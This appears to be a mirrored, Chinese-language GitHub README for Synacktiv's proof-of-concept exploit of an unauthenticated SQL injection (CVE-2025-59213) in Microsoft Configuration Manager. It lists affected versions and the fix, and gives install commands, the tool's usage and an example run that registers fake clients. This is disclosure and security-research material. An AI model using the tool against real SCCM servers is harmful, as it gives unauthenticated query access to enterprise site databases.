synacktiv/CVE-2025-59213
GitHub: synacktiv/CVE-2025-59213
一个利用微软配置管理器SQL注入漏洞(CVE-2025-59213)的脚本,允许未授权访问执行数据库查询。
Stars: 0 | Forks: 0
# 微软配置管理器 (ConfigMgr / SCCM) 2503 未经身份验证的 SQL 注入 (CVE-2025-59213) 漏洞利用
此脚本利用了 [CVE-2025-59213](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59213) 漏洞,该漏洞允许拥有管理点网络访问权限的未经身份验证的攻击者,通过滥用发现数据管理器 (DDM) `DuplicateAMTMachineRecord` 方法中的 SQL 注入缺陷,在站点数据库上执行任意 SQL 查询。漏洞源于在合并两个硬件 ID 冲突的客户端时,未正确转义的 `Hardware_ID0` 字段处理不当。
当缺失 [KB34503790](https://learn.microsoft.com/en-us/intune/configmgr/hotfix/2503/34503790) 时,以下所有微软配置管理器版本均受影响:
* < 2503 (5.00.9135.1008)
* < 2409 (5.00.9132.1029)
* < 2403 (5.00.9128.1035)
* <= 2303 (*)
## 要求
* 某些情况下,当管理点配置为 *HTTPS Only* 通信模式时,需要一个 PKI 证书来对易受攻击的 HTTP 服务执行双向 TLS 认证。任何由内部 PKI 签发且具备 *Client Authentication*(客户端身份验证)用途的证书均可使用。
* 如果您没有证书,请使用 `--altauth` 开关([更多信息请查看此处](https://www.synacktiv.com/sites/default/files/2025-08/def-con-33-mehdi-elyassa-sccm-the-tree-that-always-bears-bad-fruits.pdf#page=14))
## 说明
* 漏洞利用需要注册两个伪造的客户端,脚本会在成功进行 SQL 注入后自动删除它们,除非使用了 `--no-clean` 开关或有补丁阻止了清理操作的触发。
* 由于注入是异步的,基于时间的有效载荷无效,因为执行时间和响应时间之间没有直接关联。
## 安装
您可以通过克隆仓库并安装依赖项来完成安装。
```
$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
```
## 用法
```
$ python3 CVE-2025-59213.py -h
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]
CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection
options:
-h, --help show this help message and exit
-t, --target TARGET Target (http://sccm-mp.local/)
-sk, --sigkey SIGKEY SMS signature key (automatically generated if omitted)
-k, --key KEY Private key file for mTLS
-c, --cert CERT Certificate file for mTLS
-v, --verbose Verbose output, print requests
-cn, --client-name CLIENT_NAME
Name of the client that will be created in SCCM
-rs, --registration-sleep REGISTRATION_SLEEP
The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
-a, --altauth Use the MP's alternate authentication endpoint
-sql SQL Query to execute through the SQL injection
-nc, --no-clean Do not automatically clean the registred devices
```
# 示例
```
$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully
```
标签:Awesome, CISA项目, CVE-2025-59213, Microsoft SCCM, SIP, 数据库漏洞, 未认证攻击, 系统管理, 红队技术, 网络安全, 逆向工具, 隐私保护